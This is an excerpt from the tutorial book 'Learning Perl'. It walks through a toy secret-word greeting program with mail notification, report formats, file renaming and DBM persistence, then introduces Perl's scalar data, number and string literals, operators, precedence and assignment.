    if ($somename eq "randal") {   # should not need to guess
        return 1;                  # return value is true
    } elsif (($words{$somename}||"groucho") eq $someguess) {
        return 1;                  # return value is true
    } else {
        open MAIL,"|mail YOUR_ADDRESS_HERE";
        print MAIL "bad news: $somename guessed $someguess\n";
        close MAIL;
        return 0;                  # return value is false
    }
}

The first new statement here is open, which has a pipe symbol (|) at the beginning of its second argument. This is a special indication that we are opening a command rather than a file. Because the pipe is at the beginning of the command, we are opening a command so that we can write to it. (If you put the pipe at the end rather than the beginning, you can read the output of a command instead.)

The next statement, a print, shows that a filehandle between the print keyword and the values to be printed selects that filehandle for output, rather than STDOUT.[10] This means that the message will end up as the input to the mail command.

[10] Well, technically, the currently selected filehandle. That's covered much later, though.

Finally, we close the filehandle, which starts mail sending its data merrily on its way.

To be proper, we could have sent the correct response as well as the error response, but then someone reading over my shoulder (or lurking in the mail system) while I'm reading my mail might get too much useful information.

Perl can also open filehandles, invoke commands with precise control over argument lists, or even fork off a copy of the current program, and execute two (or more) copies in parallel. Backquotes (like the shell's backquotes) give an easy way to grab the output of a command as data. All of this gets described in Chapter 14, Process Management, so keep reading.

1.5.13 Many Secret Word Files in the Current Directory

Let's change the definition of the secret word filename slightly. Instead of just the file named wordslist, let's look for anything in the current directory that ends in .secret. To the shell, we say

echo *.secret

to get a brief listing of all of these names. As you'll see in a moment, Perl uses a similar wildcard-name syntax.

Pulling out the init_words() definition again:

sub init_words {
    while ( defined($filename = glob("*.secret")) ) {
    open (WORDSLIST, $filename) ||
                              die "can't open wordlist: $!";
        if (-M WORDSLIST < 7.0) {
            while ($name = <WORDSLIST>) {
                chomp $name;
                $word = <WORDSLIST>;
                chomp $word;
                $words{$name} = $word;
             }
         }
         close (WORDSLIST) || die "couldn't close wordlist: $!";
     }
}

First, we've wrapped a new while loop around the bulk of the routine from the previous version. The new thing here is the glob function. This is called a filename glob, for historical reasons. It works much like <STDIN>, in that each time it is accessed, it returns the next value: successive filenames that match the shell pattern, in this case *.secret. When there are no additional filenames to be returned, the filename glob returns an empty string.[11]

[11] Yeah, yeah, undef again.

So if the current directory contains fred.secret and barney.secret, then $filename is barney.secret on the first pass through the while loop (the names come out in alphabetically sorted order). On the second pass, $filename is fred.secret. And there is no third pass because the glob returns an empty string the third time it is called, perceived by the while loop to be false, causing an exit from the subroutine.

Within the while loop, we open the file and verify that it is recent enough (less than seven days since the last modification). For the recent-enough files, we scan through as before.

Note that if there are no files that match *.secret and are less than seven days old, the subroutine will exit without having set any secret words into the %words array. That means that everyone will have to use the word groucho. Oh well. (For real code, I would have added some check on the number of entries in %words before returning, and die'd if it weren't good. See the keys function when we get to hashes in Chapter 5, Hashes.)

1.5.14 Listing the Secret Words

Well, the Chief Director of Secret Word Lists wants a report of all the secret words currently in use and how old they are. If we set aside the secret word program for a moment, we'll have time to write a reporting program for the Director.

First, let's get all of the secret words, by stealing some code from the init_words() subroutine:

while ( defined($filename = glob("*.secret")) ) {
open (WORDSLIST, $filename) || die "can't open wordlist: $!";
if (-M WORDSLIST < 7.0) {
    while ($name = <WORDSLIST>) {
        chomp ($name);
        $word = <WORDSLIST>;
        chomp ($word);
 ### new stuff will go here
        }
    }
    close (WORDSLIST) || die "couldn't close wordlist: $!";
}

At the point marked "new stuff will go here," we know three things: the name of the file (in $filename), someone's name (in $name), and that person's secret word (in $word). Here's a place to use Perl's report generating tools. We define a format somewhere in the program (usually near the end, like a subroutine):

format STDOUT =
@<<<<<<<<<<<<<<< @<<<<<<<<< @<<<<<<<<<<<
$filename, $name, $word
.

The format definition begins with format STDOUT =, and ends with a single period. The two lines between are the format itself. The first line of this format is a field definition line that specifies the number, length, and type of the fields. For this format, we have three fields. The line following a field definition line is always a field value line. The value line gives a list of expressions that will be evaluated when this format is used, and the results of those expressions will be plugged into the fields defined in the previous line.

We invoke this format with the write function, like so:

#!/usr/bin/perl
while ( defined($filename = glob("*.secret")) ) {
    open (WORDSLIST, $filename) || die "can't open wordlist: $!";
    if (-M WORDSLIST < 7.0) {
        while ($name = <WORDSLIST>) {
            chomp ($name);
            $word = <WORDSLIST>;
            chomp ($word);
            write; # invoke format STDOUT to STDOUT
        }
    }
    close (WORDSLIST) || die "couldn't close wordlist: $!";
}
format STDOUT =
@<<<<<<<<<<<<<<< @<<<<<<<<< @<<<<<<<<<<<
$filename, $name, $word
.

When the format is invoked, Perl evaluates the field expressions and generates a line that it sends to the STDOUT filehandle. Because write is invoked once each time through the loop, we'll get a series of lines with text in columns, one line for each secret word entry.

Hmm. We haven't labeled the columns. That's easy enough. We just need to add a top-of-page format, like so:

format STDOUT_TOP =
Page @<<
$%

Filename         Name       Word
================ ========== ============
.

This format is named STDOUT_TOP, and will be used initially at the first invocation of the STDOUT format, and again every time 60 lines of output to STDOUT have been generated. The column headings here line up with the columns from the STDOUT format, so everything comes out tidy.

The first line of this format shows some constant text (Page) along with a three-character field definition. The following line is a field value line, here with one expression. This expression is the $% variable,[12] which holds the number of pages printed - a very useful value in top-of-page formats.

[12] More mnemonic aliases for these predefined scalar variables are available via the English module.

The third line of the format is blank. Because this line does not contain any fields, the line following it is not a field value line. This blank line is copied directly to the output, creating a blank line between the page number and the column headers below.

The last two lines of the format also contain no fields, so they are copied as is directly to the output. So this format generates four lines, one of which has a part that changes from page to page.

Just tack this definition onto the previous program to get it to work. Perl notices the top-of-page format automatically.

Perl also has fields that are centered or right-justified, and supports a filled paragraph area as well. More on this when we get to formats in Chapter 11, Formats.

1.5.15 Making Those Old Word Lists More Noticeable

As we are scanning through the *.secret files in the current directory, we may find files that are too old. So far, we are simply skipping over those files. Let's go one step more: we'll rename them to *.secret.old so that a directory listing will quickly show us which files are too old, simply by name.

Here's how the init_words() subroutine looks with this modification:

sub init_words {
    while ( defined($filename = glob("*.secret")) ) {
        open (WORDSLIST, $filename) ||
                              die "can't open wordlist: $!";
        if (-M WORDSLIST < 7.0) {
            while ($name = <WORDSLIST>) {
                chomp ($name);
                $word = <WORDSLIST>;
                chomp ($word);
                $words{$name} = $word;
            }
        } else { # rename the file so it gets noticed
            rename ($filename,"$filename.old") ||
                die "can't rename $filename to $filename.old: $!";
        }
        close (WORDSLIST) || die "couldn't close wordlist: $!";
    }
}

Notice the new else part of the file age check. If the file is older than seven days, it gets renamed with the rename function. This function takes two parameters, renaming the file named by the first parameter to the name given in the second parameter.

Perl has a complete range of file manipulation operators; anything you can do to a file from a C program, you can also do from Perl.

1.5.16 Maintaining a Last-Good-Guess Database

Let's keep track of when the most recent correct guess has been made for each user. One data structure that might seem to work at first glance is a hash. For example, the statement

$last_good{$name} = time;

assigns the current time in internal format (some large integer above 800 million, incrementing one number per second) to an element of %last_good that has the name for a key. Over time, this would seem to give us a database indicating the most recent time the secret word was guessed properly for each of the users who had invoked the program.

But, the hash doesn't have an existence between invocations of the program. Each time the program is invoked, a new hash is formed. So at most, we create a one-element hash and then immediately forget it when the program exits.

The dbmopen function[13] maps a hash out into a disk file (actually a pair of disk files) known as a DBM. It's used like this:

dbmopen (%last_good,"lastdb",0666) ||
                             die "can't dbmopen lastdb: $!";
$last_good{$name} = time;
dbmclose (%last_good) || die "can't dbmclose lastdb: $!";

[13] Or using the more low-level tie function on a specific database, as detailed in Chapters 5 and 7 of Programming Perl, or in the perltie (1) and AnyDBM_File (3) manpages.

The first statement performs the mapping, using the disk filenames of lastdb.dir and lastdb.pag (these names are the normal names for a DBM called lastdb). The file permissions used for these two files if the files must be created (as they will the first time through) is 0666.[14] This mode means that anyone can read or write the files. If you're on a UNIX system, file permission bits are described in the chmod (2) manpage. On non-UNIX systems, chmod ( ) may or may not work the same way. For example, under MS-DOS, files have no permissions, whereas under WindowsNT, they do. See your port's release notes about this if you're unsure.

[14] The actual permissions of the files will be the logical AND of 0666 and your process's current umask.

The second statement shows that we use this mapped hash just like a normal hash. However, creating or updating an element of the hash automatically updates the disk files that form the DBM. And, when the hash is later accessed, the values within the hash come directly from the disk image. This gives the hash a life beyond the current invocation of the program - a persistence of its own.

The third statement disconnects the hash from the DBM, much like a file close operation.

Although the inserted statements maintain the database just fine (and even create it the first time), we don't have any way of examining the information yet. To do that, we can create a separate little program that looks something like this:

#!/usr/bin/perl -w
dbmopen (%last_good,"lastdb",0666) ||
                                die "can't dbmopen lastdb: $!";
foreach $name (sort keys (%last_good)) {
    $when = $last_good{$name};
    $hours = (time() - $when) / 3600; # compute hours ago
    write;
}

format STDOUT =
User @<<<<<<<<<<<: last correct guess was @<<< hours ago.
$name, $hours
.

We've got a few new operations here: a foreach loop, sorting a list, and getting the keys of an array.

First, the keys function takes a hash name as an argument and returns a list of all the keys of that hash in some unspecified order. For the %words hash defined earlier, the result is something like fred, barney, betty, wilma, in some unspecified order. For the %last_good hash, the result will be a list of all users who have guessed their own secret word successfully.

The sort function sorts the list alphabetically (just as if you passed a text file through the sort command). This makes sure that the list processed by the foreach statement is always in alphabetical order.

Finally, the Perl foreach statement is a lot like the C-shell foreach statement. It takes a list of values and assigns each one in turn to a scalar variable (here, $name) executing the body of the loop (a block) once for each value. So, for five names in the %last_good list, we get five passes through the loop, with $name being a different value each time.

The body of the foreach loop loads up a couple of variables used within the STDOUT format and invokes the format. Note that we figure out the age of the entry by subtracting the stored system time (in the array) from the current time (as returned by time) and then divide that by 3600 (to convert seconds to hours).

Perl also provides easy ways to create and maintain text-oriented databases (like the Password file) and fixed-length-record databases (like the "last login" database maintained by the login program). These are described in Chapter 17, User Database Manipulation.

1.5.17 The Final Programs

Here are the programs from this stroll in their final form so you can play with them.

First, the "say hello" program:

#!/usr/bin/perl
init_words();
print "what is your name? ";
$name = <STDIN>;
chomp($name);
if ($name =~ /^randal\b/i) { # back to the other way :-)
    print "Hello, Randal! How good of you to be here!\n";
} else {
    print "Hello, $name!\n"; # ordinary greeting
    print "What is the secret word? ";
    $guess = <STDIN>;
    chomp $guess;
    while (! good_word($name,$guess)) {
        print "Wrong, try again. What is the secret word? ";
        $guess = <STDIN>;
        chomp $guess;
    }
}
dbmopen (%last_good,"lastdb",0666);
$last_good{$name} = time;
dbmclose (%last_good);
sub init_words {
    while ($filename = <*.secret>) {
        open (WORDSLIST, $filename)||
                              die "can't open $filename: $!";
        if (-M WORDSLIST < 7.0) {
            while ($name = <WORDSLIST>) {
                chomp ($name);
                $word = <WORDSLIST>;
                chomp ($word);
                $words{$name} = $word;
            }
        } else { # rename the file so it gets noticed
            rename ($filename,"$filename.old") ||
                          die "can't rename $filename: $!";
        }
        close WORDSLIST;
    }
}
sub good_word {
    my($somename,$someguess) = @_; # name the parameters
    $somename =~ s/\W.*//; # delete everything after first word
    $somename =~ tr/A-Z/a-z/; # lowercase everything
    if ($somename eq "randal") { # should not need to guess
        return 1; # return value is true
    } elsif (($words{$somename} || "groucho") eq $someguess) {
        return 1; # return value is true
    } else {
        open (MAIL, "|mail YOUR_ADDRESS_HERE");
        print MAIL "bad news: $somename guessed $someguess\n";
        close MAIL;
        return 0; # return value is false
    }
}

Next, we have the secret word lister:

#!/usr/bin/perl
while ($filename = <*.secret>) {
    open (WORDSLIST, $filename) ||
                             die "can't open $filename: $!";

    if (-M WORDSLIST < 7.0) {
        while ($name = <WORDSLIST>) {
            chomp ($name);
            $word = <WORDSLIST>;
            chomp ($word);
            write; # invoke format STDOUT to STDOUT
         }
    }
    close (WORDSLIST);
}
format STDOUT =
@<<<<<<<<<<<<<<< @<<<<<<<<< @<<<<<<<<<<<
$filename, $name, $word
.
format STDOUT_TOP =
Page @<<
$%

Filename         Name       Word
================ ========== ============
.

And finally, the last-time-a-word-was-used display program:

#!/usr/bin/perl
dbmopen (%last_good,"lastdb",0666);
foreach $name (sort keys %last_good) {
    $when = $last_good{$name};
    $hours = (time - $when) / 3600; # compute hours ago
    write;
}

format STDOUT =
User @<<<<<<<<<<<: last correct guess was @<<< hours ago.
$name, $hours
.

Together with the secret word lists (files named something.secret in the current directory) and the database lastdb.dir and lastdb.pag, you'll have all you need.

Previous: 1.4 Basic Concepts | Learning Perl | Next: 1.6 Exercise
1.4 Basic Concepts | Book Index | 1.6 Exercise


[Chapter 1] 1.6 Exercise

Learning PerlSearch this book

1.6 Exercise

Most chapters end with some exercises, for which answers are found in Appendix A, Exercise Answers. For this stroll, the answers have already been given above.

  1. Type in the example programs, and get them to work. (You'll need to create the secret-word lists as well.) Consult your local Perl guru if you need assistance.

Previous: 1.5 A Stroll Through Perl | Learning Perl | Next: 2. Scalar Data
1.5 A Stroll Through Perl | Book Index | 2. Scalar Data


[Chapter 2] Scalar Data

Learning PerlSearch this book
Previous: 1.6 Exercise Chapter 2 Next: 2.2 Numbers

2. Scalar Data

Contents:
What Is Scalar Data?
Numbers
Strings
Scalar Operators
Scalar Variables
Scalar Operators and Functions
<STDIN> as a Scalar Value
Output with print
The Undefined Value
Exercises

2.1 What Is Scalar Data?

A scalar is the simplest kind of data that Perl manipulates. A scalar is either a number (like 4 or 3.25e20) or a string of characters (like hello or the Gettysburg Address). Although you may think of numbers and strings as very different things, Perl uses them nearly interchangeably, so we'll describe them together.

A scalar value can be acted upon with operators (like plus or concatenate), generally yielding a scalar result. A scalar value can be stored into a scalar variable. Scalars can be read from files and devices and written out as well.

Previous: 1.6 Exercise | Learning Perl | Next: 2.2 Numbers
1.6 Exercise | Book Index | 2.2 Numbers


[Chapter 2] 2.2 Numbers

Learning PerlSearch this book

2.2 Numbers

Although a scalar is either a number or a string,[1] it's useful to look at numbers and strings separately for the moment. Numbers first, strings in a minute... .

[1] Or a reference, but that's an advanced topic.

2.2.1 All Numbers Use the Same Format Internally

As you'll see in the next few paragraphs, you can specify both integers (whole numbers, like 17 or 342) and floating-point numbers (real numbers with decimal points, like 3.14, or 1.35 times 1025). But internally, Perl computes only with double-precision floating-point values.[2] This means that there are no integer values internal to Perl; an integer constant in the program is treated as the equivalent floating-point value.[3] You probably won't notice the conversion (or care much), but you should stop looking for integer operations (as opposed to floating-point operations), because there aren't any.

[2] A "double-precision floating-point value" is whatever the C compiler that compiled Perl used for a double declaration.

[3] Unless you use "integer mode," but that's not on by default.

2.2.2 Float Literals

A literal is the way a value is represented in the text of the Perl program. You could also call this a constant in your program, but we'll use the term literal. Literals are the way data is represented in the source code of your program as input to the Perl compiler. (Data that is read from or written to files is treated similarly, but not identically.)

Perl accepts the complete set of floating-point literals available to C programmers. Numbers with and without decimal points are allowed (including an optional plus or minus prefix), as well as tacking on a power-of-10 indicator (exponential notation) with E notation. For example:

1.25     # about 1 and a quarter
7.25e45  # 7.25 times 10 to the 45th power (a big number)
-6.5e24  # negative 6.5 times 10 to the 24th
         # (a "big" negative number)
-12e-24  # negative 12 times 10 to the -24th
         # (a very small negative number)
-1.2E-23 # another way to say that

2.2.3 Integer Literals

Integer literals are also straightforward, as in:

12
15
-2004
3485

Don't start the number with a 0, because Perl supports octal and hexadecimal (hex) literals. Octal numbers start with a leading 0, and hex numbers start with a leading 0x or 0X.[4] The hex digits A through F (in either case) represent the conventional digit values of 10 through 15. For example:

0377 # 377 octal, same as 255 decimal
-0xff # negative FF hex, same as -255 decimal

[4] The "leading zero" indicator works only for literals, not for automatic string-to-number conversion. You can convert a data string that looks like an octal or hex value into a number with oct or hex.

Previous: 2.1 What Is Scalar Data? | Learning Perl | Next: 2.3 Strings
2.1 What Is Scalar Data? | Book Index | 2.3 Strings


[Chapter 2] 2.3 Strings

Learning PerlSearch this book

2.3 Strings

Strings are sequences of characters (like hello). Each character is an 8-bit value from the entire 256 character set (there's nothing special about the NUL character as in some languages).

The shortest possible string has no characters. The longest string fills all of your available memory (although you wouldn't be able to do much with that). This is in accordance with the principle of "no built-in limits" that Perl follows at every opportunity. Typical strings are printable sequences of letters and digits and punctuation in the ASCII 32 to ASCII 126 range. However, the ability to have any character from 0 to 255 in a string means you can create, scan, and manipulate raw binary data as strings - something with which most other utilities would have great difficulty. (For example, you can patch your operating system by reading it into a Perl string, making the change, and writing the result back out.)

Like numbers, strings have a literal representation (the way you represent the string in a Perl program). Literal strings come in two different flavors: single-quoted strings and double-quoted strings.[5] Another form that looks rather like these two is the back-quoted string (`like this`). This isn't so much a literal string as a way to run external commands and get back their output. This is covered in Chapter 14, Process Management.

[5] There are also the here strings, similar to the shell's here documents. They are explained in Chapter 19, CGI Programming. See also Chapter 2 of Programming Perl, and perldata (1)

2.3.1 Single-Quoted Strings

A single-quoted string is a sequence of characters enclosed in single quotes. The single quotes are not part of the string itself; they're just there to let Perl identify the beginning and the ending of the string. Any character between the quote marks (including newline characters, if the string continues onto successive lines) is legal inside a string. Two exceptions: to get a single quote into a single-quoted string, precede it by a backslash. And to get a backslash into a double-quoted string, precede the backslash by a backslash. In other pictures:

'hello'     # five characters: h, e, l, l, o
'don\'t'    # five characters: d, o, n, single-quote, t
''          # the null string (no characters)
'silly\\me' # silly, followed by backslash, followed by me
'hello\n'   # hello followed by backslash followed by n
'hello
there'      # hello, newline, there (11 characters total)

Note that the \n within a single-quoted string is not interpreted as a newline, but as the two characters backslash and n. (Only when the backslash is followed by another backslash or a single quote does it have special meaning.)

2.3.2 Double-Quoted Strings

A double-quoted string acts a lot like a C string. Once again, it's a sequence of characters, although this time enclosed in double quotes. But now the backslash takes on its full power to specify certain control characters, or even any character at all through octal and hex representations. Here are some double-quoted strings:

"hello world\n"  # hello world, and a newline
"new \177"       # new, space, and the delete character (octal 177)
"coke\tsprite"   # a coke, a tab, and a sprite

The backslash can precede many different characters to mean different things (typically called a backslash escape). The complete list of double-quoted string escapes is given in Table 2.1.

Table 2.1: Double-Quoted String Representations
Construct | Meaning
\n | Newline
\r | Return
\t | Tab
\f | Formfeed
\b | Backspace
\a | Bell
\e | Escape
\007 | Any octal ASCII value (here, 007 = bell)
\x7f | Any hex ASCII value (here, 7f = delete)
\cC | Any "control" character (here, CTRL-C)
\\ | Backslash
\" | Double quote
\l | Lowercase next letter
\L | Lowercase all following letters until \E
\u | Uppercase next letter
\U | Uppercase all following letters until \E
\Q | Backslash-quote all nonalphanumerics until \E
\E | Terminate \L , \U, or \Q

Another feature of double-quoted strings is that they are variable interpolated, meaning that scalar and array variables within the strings are replaced with their current values when the strings are used. We haven't formally been introduced to what a variable looks like yet (except in the stroll), so I'll get back to this later.

Previous: 2.2 Numbers | Learning Perl | Next: 2.4 Scalar Operators
2.2 Numbers | Book Index | 2.4 Scalar Operators


[Chapter 2] 2.4 Scalar Operators

Learning PerlSearch this book

2.4 Scalar Operators

An operator produces a new value (the result) from one or more other values (the operands). For example, + is an operator because it takes two numbers (the operands, like 5 and 6), and produces a new value (11, the result).

Perl's operators and expressions are generally a superset of those provided in most other ALGOL/Pascal-like programming languages, such as C or Java. An operator expects either numeric or string operands (or possibly a combination of both). If you provide a string operand where a number is expected, or vice versa, Perl automatically converts the operand using fairly intuitive rules, which will be detailed in Section 2.4.4, "Conversion Between Numbers and Strings," below.

2.4.1 Operators for Numbers

Perl provides the typical ordinary addition, subtraction, multiplication, and division operators, and so on. For example:

2 + 3     # 2 plus 3, or 5
5.1 - 2.4 # 5.1 minus 2.4, or approximately 2.7
3 * 12    # 3 times 12 = 36
14 / 2    # 14 divided by 2, or 7
10.2 / 0.3 # 10.2 divided by 0.3, or approximately 34
10 / 3    # always floating point divide, so approximately 3.3333333...

Additionally, Perl provides the FORTRAN-like exponentiation operator, which many have yearned for in Pascal and C. The operator is represented by the double asterisk, such as 2**3, which is two to the third power, or eight. (If the result can't fit into a double-precision floating-point number, such as a negative number to a noninteger exponent, or a large number to a large exponent, you'll get a fatal error.)

Perl also supports a modulus operator. The value of the expression 10 % 3 is the remainder when 10 is divided by 3, which is 1. Both values are first reduced to their integer values, so 10.5 % 3.2 is computed as 10 % 3.

The logical comparison operators are < <= == >= > !=, these compare two values numerically, returning a true or false value. For example, 3 > 2 returns true because three is greater than two, while 5 != 5 returns false because it's not true that 5 is not equal to 5. The definitions of true and false are covered later, but for now, think of the return values as one for true, and zero for false. (These operators are revisited in Table 2.2.)

You may be wondering about the word "approximately" in the code comments at the start of this section. Don't you get exactly 2.7 when subtracting 2.4 from 5.1? In math class you do, but on computers you usually don't. Instead, you get an approximation that's only accurate to a certain number of decimal places. Computers don't store numbers the same way a mathematician thinks of them. But unless you are doing something extreme, you'll usually see the results you expect to see.

Comparing the following statements, you'll see what the computer really got as the result of the subtraction (the printf function is described in Chapter 6, Basic I/O):

printf("%.51f\n", 5.1 - 2.4)
# 2.699999999999999733546474089962430298328399658203125

print(5.1 - 2.4, "\n");
# 2.7

Don't worry too much about this: the print function's default format for printing floating-point numbers usually hides such minor representational inaccuracies. If this ends up being a problem, the Math::BigInt and Math::BigFloat object modules provide infinite-precision arithmetic for integers and floating-point numbers at the cost of somewhat slower execution. For details, see Chapter 7 of Programming Perl or the online documentation on these modules.

2.4.2 Operators for Strings

String values can be concatenated with the "." operator. (Yes, that's a single period.) This does not alter either string, any more than 2+3 alters either 2 or 3. The resulting (longer) string is then available for further computation or to be stored into a variable.

"hello" . "world"       # same as "helloworld"
'hello world' . "\n"    # same as "hello world\n"
"fred" . " " . "barney" # same as "fred barney"

Note that the concatenation must be explicitly called for with the "." operator. You can't just stick the two values close to each other.

Another set of operators for strings are the string comparison operators. These operators are FORTRAN-like, as in lt for less-than, and so on. The operators compare the ASCII values of the characters of the strings in the usual fashion. The complete set of comparison operators (for both numbers and strings) is given in Table 2.2.

Table 2.2: Numeric and String Comparison Operators
Comparison | Numeric | String
Equal | == | eq
Not equal | != | ne
Less than | < | lt
Greater than | > | gt
Less than or equal to | <= | le
Greater than or equal to | >= | ge

You may wonder why there are separate operators for numbers and strings, if numbers and strings are automatically converted back and forth. Consider the two values 7 and 30. If compared as numbers, 7 is obviously less than 30, but if compared as strings, the string "30" comes before the string "7" (because the ASCII value for 3 is less than the value for 7), and hence is less. Perl always requires you to specify the proper type of comparison, whether it be numeric or string.

Note that if you come from a UNIX shell programming background, the numeric and string comparisons are roughly opposite of what they are for the UNIX test command, which uses -eq for numeric comparison and = for string comparison.

Still another string operator is the string repetition operator, consisting of the single lowercase letter x. This operator takes its left operand (a string), and makes as many concatenated copies of that string as indicated by its right operand (a number). For example:

"fred" x 3       # is "fredfredfred"
"barney" x (4+1) # is "barney" x 5, or
                 # "barneybarneybarneybarneybarney"
(3+2) x 4        # is 5 x 4, or really "5" x 4, which is "5555"

That last example is worth spelling out slowly. The parentheses on (3+2) force this part of the expression to be evaluated first, yielding five. (The parentheses here are working as in standard math.) But the string repetition operator wants a string for a left operand, so the number 5 is converted to the string "5" (using rules described in detail later), a one-character string. This new string is then copied four times, yielding the four-character string 5555. If we had reversed the order of the operands, we would have made five copies of the string 4, yielding 44444. This shows that string repetition is not commutative.

If necessary, the copy count (the right operand) is first truncated to an integer value (4.8 becomes 4) before being used. A copy count of less than one results in an empty (zero-length) string.

2.4.3 Operator Precedence and Associativity

Operator precedence defines how to resolve the ambiguous case where two operators are trying to operate on three operands. For example, in the expression 2+3*4, do we perform the addition first or the multiplication first? If we did the addition first, we'd get 5*4, or 20. But if we did the multiplication first (as we were taught in math class) we'd get 2+12, or 14. Fortunately, Perl chooses the common mathematical definition, performing the multiplication first. Because of this, we say multiplication has a higher precedence than addition.

You can override the order defined by precedence using parentheses. Anything in parentheses is completely computed before the operator outside of the parentheses is applied (just as you learned in math class). So if you really want the addition before the multiplication, you can say (2+3)*4, yielding 20. Also, if you want to demonstrate that multiplication is performed before addition, you could add a decorative but functionless set of parentheses in 2+(3*4).

While precedence is intuitive for addition and multiplication,[6] we start running into problems when faced with, say, string concatenation compared with exponentiation. The proper way to resolve this is to consult the official, accept-no-substitutes Perl operator precedence chart, shown in Table 2.3. (Note that some of the operators have not yet been described, and in fact, may not even appear anywhere in this book, but don't let that scare you from reading about them.) Operators that are also found in C have the same precedence as in C.

[6] You recall your high-school algebra class? If not, there's nothing wrong with using parentheses to improve clarity.

Table 2.3: Associativity and Precedence of Operators: Highest to Lowest
Associativity | Operator
Left | The "list" operators (leftward)
Left | -> (method call, dereference)
Nonassociative | ++ -- (autoincrement, autodecrement)
Right | ** (exponentiation)
Right | ! ~ \ + - (logical not, bit-not, reference operator, unary plus, unary minus)
Left | =~ !~ (matches, doesn't match)
Left | * / % x (multiply, divide, modulus, string replicate)
Left | + - . (add, subtract, string concatenate)
Left | << >>
Nonassociative | Named unary operators (like chomp)
Nonassociative | < > <= >= lt gt le ge
Nonassociative | == != <=> eq ne cmp
Left | & (bit-and)
Left | | ^ (bit-or, bit-xor)
Left | && (logical and)
Left | || (logical or)
Nonassociative | .. ... (noninclusive and inclusive range)
Right | ?: (if-then-else)
Right | = += -= *=, etc. (assignment and binary-assignment)
Left | , => (comma and comma-arrow)
Nonassociative | List operators (rightward)
Right | not (logical not)
Left | and (logical and)
Left | or xor (logical or, logical xor)

In the chart, any given operator has higher precedence than those listed below it, and lower precedence than all of the operators listed above it.

Operators at the same precedence level resolve according to rules of associativity instead. Just like precedence, associativity resolves the order of operations when two operators of the same precedence compete for three operands:

2 ** 3 ** 4  # 2 ** (3 ** 4), or 2 ** 81, or approx 2.41e24
72 / 12 / 3  # (72 / 12) / 3, or 6/3, or 2
30 / 6 * 3   # (30/6)*3, or 15

In the first case, the ** operator has right associativity, so the parentheses are implied on the right. Comparatively, the * and / operators have left associativity, yielding a set of implied parentheses on the left.

2.4.4 Conversion Between Numbers and Strings

If a string value is used as an operand for a numeric operator (say, +), Perl automatically converts the string to its equivalent numeric value, as if it had been entered as a decimal floating-point value.[7] Trailing nonnumerics and leading whitespace are politely and quietly ignored, so " 123.45fred" (with a leading space) converts to 123.45 with nary a warning.[8] At the extreme end of this, something that isn't a number at all converts to zero without warning (such as the string fred used as a number).

[7] Hex and octal values are not supported in this automatic conversion. Use hex and oct to interpret hex and octal values.

[8] Unless you turn on the -w option from the command line, which you should always do for safety's sake.

Likewise, if a numeric value is given when a string value is needed (for the string concatenate operator, for example), the numeric value is expanded into whatever string would have been printed for that number. For example, if you want to concatenate an X followed by the results of 4 multiplied by 5, you can say this simply as:

"X" . (4 * 5) # same as "X" . 20, or "X20"

(Remember that the parentheses force 4*5 to be computed first, before considering the string concatenation operator.)

In other words, you don't have to worry about whether you have a number or a string (most of the time). Perl performs all the conversions for you.

Previous: 2.3 Strings | Learning Perl | Next: 2.5 Scalar Variables
2.3 Strings | Book Index | 2.5 Scalar Variables


[Chapter 2] 2.5 Scalar Variables

Learning PerlSearch this book

2.5 Scalar Variables

A variable is a name for a container that holds one or more values. The name of the variable is constant throughout the program, but the value or values contained in that variable typically change over and over again throughout the execution of the program.

A scalar variable holds a single scalar value (representing a number, a string, or a reference). Scalar variable names begin with a dollar sign followed by a letter, and then possibly more letters, or digits, or underscores.[9] Upper- and lowercase letters are distinct: the variable $A is a different variable from $a. And all of the letters, digits, and underscores are significant, so:

$a_very_long_variable_that_ends_in_1
is different from:
$a_very_long_variable_that_ends_in_2

[9] Limited to 255 characters, however. We hope that suffices.

You should generally select variable names that mean something regarding the value of the variable. For example, $xyz123 is probably not very descriptive but $line_length is.

Previous: 2.4 Scalar Operators | Learning Perl | Next: 2.6 Scalar Operators and Functions
2.4 Scalar Operators | Book Index | 2.6 Scalar Operators and Functions


[Chapter 2] 2.6 Scalar Operators and Functions

Learning PerlSearch this book

2.6 Scalar Operators and Functions

The most common operation on a scalar variable is assignment, which is the way to give a value to a variable. The Perl assignment operator is the equal sign (much like C or FORTRAN), which takes a variable name on the left side and gives it the value of the expression on the right, like so:

$a = 17;     # give $a the value of 17
$b = $a + 3; # give $b the current value of $a plus 3 (20)
$b = $b * 2; # give $b the value of $b multiplied by 2 (40)

Notice that last line uses the $b variable twice: once to get its value (on the right side of the =), and once to define where to put the computed expression (on the left side of the =). This is legal, safe, and in fact, rather common. In fact, it's so common that we'll see in a minute that we can write this using a convenient shorthand.

You may have noticed that scalar variables are always specified with the leading $. In shell programming, you use $ to get the value, but leave the $ off to assign a new value. In Java or C, you leave the $ off entirely. If you bounce back and forth a lot, you'll find yourself typing the wrong things occasionally. This is expected. (Our solution was to stop writing shell, awk, and C programs, but that may not work for you.)

A scalar assignment may be used as a value as well as an operation, as in C. In other words, $a=3 has a value, just as $a+3 has a value. The value is the value assigned, so the value of $a=3 is 3. Although this may seem odd at first glance, using an assignment as a value is useful if you wish to assign an intermediate value in an expression to a variable, or if you simply wish to copy the same value to more than one variable. For example:

$b = 4 + ($a = 3);      # assign 3 to $a, then add 4 to that
                        # resulting in $b getting 7
$d = ($c = 5);          # copy 5 into $c, and then also into $d
$d = $c = 5;            # the same thing without parentheses

That last example works because assignment is right-associative.

2.6.1 Binary Assignment Operators

Expressions like $a = $a + 5 (where the same variable appears on both sides of an assignment) occur frequently enough that Perl has a shorthand for the operation of altering a variable: the binary assignment operator. Nearly all binary operators that compute a value have a corresponding binary assignment form with an appended equal sign. For example, the following two lines are equivalent:

$a = $a + 5; # without the binary assignment operator
$a += 5;     # with the binary assignment operator

And so are these:

$b = $b * 3;
$b *= 3;

In each case, the operator causes the existing value of the variable to be altered in some way, rather than simply overwriting the value with the result of some new expression.

Another common assignment operator is the string concatenate operator:

$str = $str . " "; # append a space to $str
$str .= " ";       # same thing with assignment operator

Nearly all binary operators are valid this way. For example, a raise to the power of operator is written as **=. So, $a **= 3 means "raise the number in $a to the third power, placing the result back in $a".

Like the simple assignment operator, these operators have a value as well: the new value of the variable. For example:

$a = 3;
$b = ($a += 4); # $a and $b are both now 7

2.6.2 Autoincrement and Autodecrement

As if it weren't already easy enough to add one to $a by saying $a += 1, Perl goes one further and shortens even this up. The ++ operator (called the autoincrement operator) adds one to its operand, and returns the incremented value, like so:

$a += 1;   # with assignment operator
++$a;      # with prefix autoincrement
$d = 17;
$e = ++$d; # $e and $d are both 18 now

